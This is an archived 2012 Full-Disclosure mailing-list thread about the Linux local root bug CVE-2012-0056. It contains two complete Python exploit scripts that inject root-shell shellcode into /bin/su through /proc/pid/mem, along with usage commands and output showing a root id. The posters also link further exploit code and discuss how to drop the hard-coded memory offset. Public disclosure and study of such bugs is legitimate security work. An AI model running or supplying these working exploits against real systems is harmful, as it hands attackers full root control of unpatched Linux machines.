full-disclosure-uk January 2012 archive
Main Archive Page > Month Archives  > full-disclosure-uk archives
full-disclosure-uk: Re: [Full-disclosure] Linux Local Root -- CV

Re: [Full-disclosure] Linux Local Root -- CVE-2012-0056 -- Detailed Write-up

From: Jason A. Donenfeld <Jason_at_nospam>
Date: Mon Jan 23 2012 - 16:53:18 GMT
To: sd <sd@fucksheep.org>

I started on a ptrace based way of finding things, but I'm a bit of a
novice in this area. It's not working yet, but progress is here:
http://git.zx2c4.com/CVE-2012-0056/tree/exit-ptrace-finder.c

Any pointers?

On Mon, Jan 23, 2012 at 04:05, Jason A. Donenfeld <Jason@zx2c4.com> wrote:

> Well done; that's a nice trick. Not really a fan of "spraying" like
> that (for irrational 'aesthetic' bullshitty reasons), but this is
> quite nice. Still though, you have the lseek offset in there, which is
> different for different executables.
>
> I'm sure there's a way to determine this without read access though --
> ptrace, for example, will make a suid binary loose its suidness, but
> you could then (I think?) inquire about memory locations and maps.
> Once you have the info you need, then you run su normally sans
> ptracing in the exploit. Not sure if this works or not. I think there
> are a few other similar things you can do when running suid code that
> will make it loose suidness, and also a variety of inspection
> techniques.
>
> On Mon, Jan 23, 2012 at 03:46, sd <sd@fucksheep.org> wrote:
> > 2012/1/23 Jason A. Donenfeld <Jason@zx2c4.com>:
> >> NICE! Well, I guess posting that blog post defeated the point of not
> >> publishing. :-D
> >
> > Thanks for compliance with first full-disclosure famwhoring rule:
> > always post warez to make kids happy! :)
> >
> > On a related note, here goes my "private" version which relaxes the
> > rules regarding file permissions on /bin/su (ie not world readable).
> > This is to point out you can just overwrite 8kb of .text (default
> > stderr buffer, more is possible, but without mere nops) instead of
> > juggling with objdump.
> >
> > !/usr/bin/python
> > # CVE-2012-0056 amd64
> > # sd@fucksheep.org
> > #
> > # hg clone https://code.google.com/p/python-passfd
> > # cd python-passfd; ./setup.py build_ext --inplace; cd src
> > # mv ~/hurrdurr.py .
> > # ./hurrdurr.py
> > from socket import *
> > from passfd import *
> > from os import *
> > from socket import *
> > from sys import *
> > if argv[-1]=='hax':
> > sk=int(argv[1])
> > fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
> > lseek(fd,0x401000,0)
> > sendfd(sk,fd)
> > else:
> > a,b=socketpair()
> > if not fork():
> > execl("/usr/bin/python","python",
> > __file__,str(a.fileno()),'hax')
> > dup2(recvfd(b)[0],2)
> >
> execl("/bin/su","su",("\x90"*8000)+"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
> > "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
> > "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
> > "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
> >
> >
> >
> >>
> >> So, here's my code:
> >> http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
> >>
> >> I wrote the shellcode by hand too, and you can grab the 32 and 64 bit
> >> versions from that same tree.
> >>
> >> Have fun.
> >>
> >>
> >>
> >> BTW, before I'm asked, the reason why I don't hard code 12 for the
> >> length of the su error string is that it's different on different
> >> distros.
> >>
> >> On Mon, Jan 23, 2012 at 02:14, sd <sd@fucksheep.org> wrote:
> >>> 2012/1/23 Jason A. Donenfeld <Jason@zx2c4.com>:
> >>>> Server presently DoS'd, or dreamhost is tweaking again.
> >>>
> >>> boring tl;dr - don't play kaminsky on us :)
> >>>
> >>> #!/usr/bin/python
> >>> # CVE-2012-0056 amd64
> >>> # sd@fucksheep.org
> >>> #
> >>> # hg clone https://code.google.com/p/python-passfd
> >>> # cd python-passfd; ./setup.py build_ext --inplace; cd src
> >>> # mv ~/hurrdurr.py .
> >>> # ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d '
> >>> ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
> >>> from socket import *
> >>> from passfd import *
> >>> from os import *
> >>> from socket import *
> >>> from sys import *
> >>> from time import *
> >>> if argv[-1]=='hax':
> >>> sk=int(argv[1])
> >>> fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
> >>> lseek(fd,int(argv[2].split('x')[-1],16)-12,0)
> >>> sendfd(sk,fd)
> >>> sleep(1)
> >>> else:
> >>> a,b=socketpair()
> >>> if not fork():
> >>> execl("/usr/bin/python","python",
> >>> __file__,str(a.fileno()),argv[1],'hax')
> >>> dup2(recvfd(b)[0],2)
> >>> execl("/bin/su","su","\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
> >>> "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
> >>> "\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
> >>> "\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");
> >>>
> >>> --
> >>> ./hurrdurr.py `objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' '
> >>> -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'`
> >>> id
> >>> uid=0(root) gid=1000(sd)
> >>>
> groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),110(netdev),125(lastfm),1000(sd)
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/